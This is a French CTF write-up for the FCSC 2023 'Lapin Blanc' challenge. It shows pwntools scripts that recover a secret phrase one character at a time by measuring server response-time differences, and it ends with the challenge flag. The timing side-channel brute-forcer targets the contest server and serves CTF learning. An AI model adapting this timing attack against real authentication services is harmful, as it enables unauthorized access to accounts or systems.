Cover Image

FCSC 2023 - Lapin Blanc


Dans cet article, nous allons explorer le déroulement pas à pas du challenge ‘Lapin Blanc’ proposé lors du FCSC 2023.

Tout d’abord nous avons accès à un socket réseau à challenges.france-cybersecurity-challenge.fr:2350.

Je décide de faire des tests avec netcat avec la commande nc challenges.france-cybersecurity-challenge.fr 2350 pour voir comment se comporte l’application et de quoi il s’agit.

En faisant des tests nous pouvons avoir la sortie suivante:


nc challenges.france-cybersecurity-challenge.fr 2350
[0000014070] Initializing Wonderland...
[0001326256] Searching for a tiny golden key...
[0001678353] Looking for a door...
[0001990661] Trying to unlock the door...

    __________________
    ||              ||
    ||   THE DOOR   ||
    ||              ||  .--------------------------.
    |)              ||  | What's the magic phrase? |
    ||              ||  /--------------------------'
    ||         ^_^  ||
    ||              ||
    |)              ||
    ||              ||
    ||              ||
____||____.----.____||_______________________________________

Answer: hello
[0005290116] The door is thinking...
[0005293180] Your magic phrase is invalid, the door refuses to open.
Answer: test
[0007016982] The door is thinking...
[0007020047] Your magic phrase is invalid, the door refuses to open.
Answer: ça marche pas
[0011608252] I only speak ASCII, sorry...

Nous pouvons remarquer plusieurs choses, le but ici est de trouver la phrase qui nous permet de débloquer la porte, dans la consigne on nous explique qu’on a seulement 10 minutes pour découvrir la phrase secrète, nous avons des essais à l’infini pour tester les combinaisons, ça peut êtr très fastidieux si une vulnérabilité n’est pas découverte.

On peut voir un timestamp à côté de chaque réponse, ce que je décide de faire c’est de fuzz l’application en premier temps pour voir si on peut remarquer des differences de temps de réponses.

Voici le code qui me permet de tester ça:


from pwn import *
import sys
import re

conn = remote('challenges.france-cybersecurity-challenge.fr', 2350)
conn.recvuntil(b"Answer:")

def send_message(message):
    conn.sendline(message.encode())
    try:
        response = conn.recvuntil(b"Answer:").decode()
        timestamp = float(re.findall(r"\[(.*?)\]", response)[0])
    except:
        response = conn.recv().decode()
        print(response)
        conn.close()
        sys.exit(0)
    return timestamp

characters = (
    [chr(c) for c in range(ord('z'), ord('a') - 1, -1)] +
    [' ', '!', ',', '-', '.', ':', '?', "'", '^', '_', '{', '|', '}'] +
    [chr(c) for c in range(ord('Z'), ord('A') - 1, -1)]
)

max_response_time_diff = 0
max_character = ""

for c in characters:
    first_timestamp = send_message(c) / 100
    second_timestamp = send_message(c) / 100
    response_time_diff = second_timestamp - first_timestamp

    if response_time_diff > max_response_time_diff:
        max_response_time_diff = response_time_diff
        max_character = c

    print(f"Caractère : {c}, Différence de temps de réponse : {response_time_diff:.6f}")

print(f"Le caractère avec la plus grande différence de temps de réponse est : {max_character}")

Le script se connecte au serveur de challenge et attend une invite à répondre. Pour chaque caractère possible, le script envoie le caractère au serveur et mesure le temps de réponse à deux reprises. La différence de temps de réponse entre la première et la deuxième requête pour chaque caractère est calculée et comparée. Le caractère avec la plus grande différence de temps de réponse est identifié et affiché à la fin.

Voici le résultat qu’on obtient:


Caractère : a, Diff. : 1339.74
Caractère : b, Diff. : 1338.12
...
Caractère : h, Diff. : 1336.07
Caractère : i, Diff. : 1336.80
Caractère : I, Diff. : 1764.67 <-- Plus grande différence de temps de réponse
Caractère : J, Diff. : 1337.01
...
Caractère : Z, Diff. : 1337.83

Le caractère avec la plus grande différence de temps de réponse est : I

Comme nous pouvons le voir, le programme nous indique que en envoyant “I”, le temps de réponse est différent, ce qui sous entend qu’on peut deviner la phrase en itérant et en testant chaque caractère.

Voici le programme modifié qui nous permet de faire cette tâche:

from pwn import *
import sys
import re

conn = remote('challenges.france-cybersecurity-challenge.fr', 2350)
conn.recvuntil(b"Answer:")

def send_message(message):
    conn.sendline(message.encode())
    try:
        response = conn.recvuntil(b"Answer:").decode()
        timestamp = float(re.findall(r"\[(.*?)\]", response)[0])
    except:
        response = conn.recv().decode()
        print(response)
        conn.close()
        sys.exit(0)
    return timestamp


prefix = ""
characters = (
    [chr(c) for c in range(ord('z'), ord('a') - 1, -1)] +
    [' ', '!', ',', '-', '.', ':', '?', "'", '^', '_', '{', '|', '}'] +
    [chr(c) for c in range(ord('Z'), ord('A') - 1, -1)]
)

while True:
    max_response_time = 0
    max_character = ""
    character_count = 0
    found_character = False
    previous_response_time = 0

    for c in characters:
        total_response_time = 0

        for _ in range(2):
            current_timestamp = send_message(prefix + c) / 100
            if _ == 0:
                previous_timestamp = current_timestamp
                continue
            response_time = current_timestamp - previous_timestamp
            total_response_time += response_time
            previous_timestamp = current_timestamp

        avg_response_time = total_response_time / 2

        if character_count > 0 and avg_response_time - previous_response_time >= 200:
            max_character = c
            found_character = True
            break

        previous_response_time = avg_response_time

        print(f"Préfixe : {prefix}, Caractère : {c}, Temps de réponse moyen : {avg_response_time:.6f}", end="\t\r")

        character_count += 1

    if found_character:
        prefix += max_character
        print(f"Préfixe actuel : {prefix}")

    send_message(prefix)

conn.close()

Ce code est une version améliorée pour résoudre un challenge basé sur le temps de réponse du serveur. Voici ce que fait le code de manière claire :

  • Il importe les bibliothèques nécessaires et se connecte au serveur de challenge.
  • Il définit une fonction send_message() pour envoyer un message au serveur et récupérer le temps de réponse (timestamp).
  • Il initialise un préfixe vide et définit une liste de caractères possibles à tester.
  • Dans une boucle infinie :
    1. Il initialise des variables pour stocker le temps de réponse maximum, le caractère correspondant, et d’autres variables de contrôle.
    2. Pour chaque caractère dans la liste des caractères possibles : 21. Il envoie le préfixe actuel suivi du caractère et mesure le temps de réponse moyen sur deux requêtes. 22. Il vérifie si la différence entre le temps de réponse moyen actuel et le précédent est supérieure ou égale à 200 (seuil déterminé expérimentalement). 221. Si oui, il met à jour le préfixe en ajoutant le caractère trouvé et passe à l’étape suivante. 222. Il envoie le préfixe mis à jour au serveur.
    • La boucle se répète jusqu’à ce que le défi soit résolu.

Pour que le défi soit résolu correctement sans aucun soucis de réseau, il faut privilégier une bonne connexion Internet, petite anecdote il m’a fallu 7 heures pass" sur ce challenge pour comprendre que ma connexion était mauvaise, en utilisant mon VPS c’était beaucoup plus simple.

Voici le résultat du programme après quelques minutes:

On obtient le flag FCSC{t1m1Ng_1s_K3y_8u7_74K1nG_u00r_t1mE_is_NEce554rY}